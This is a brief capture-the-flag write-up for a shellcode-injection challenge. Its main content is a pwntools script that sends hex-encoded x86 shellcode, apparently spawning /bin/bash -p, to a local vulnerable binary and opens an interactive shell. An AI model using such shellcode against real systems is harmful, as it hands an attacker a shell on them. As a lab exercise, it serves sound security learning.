

PWN 5: HandyShell Code

In this challenge we want to do a shellcode attack.

In <http://shell-storm.org/shellcode/> , as suggested, you can find what you need.

Once you have it, we can just insert it normally without adding any additional junk at the beginning.

```
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
p = process("./vuln")
p.sendline(shellcode)
p.interactive()
```
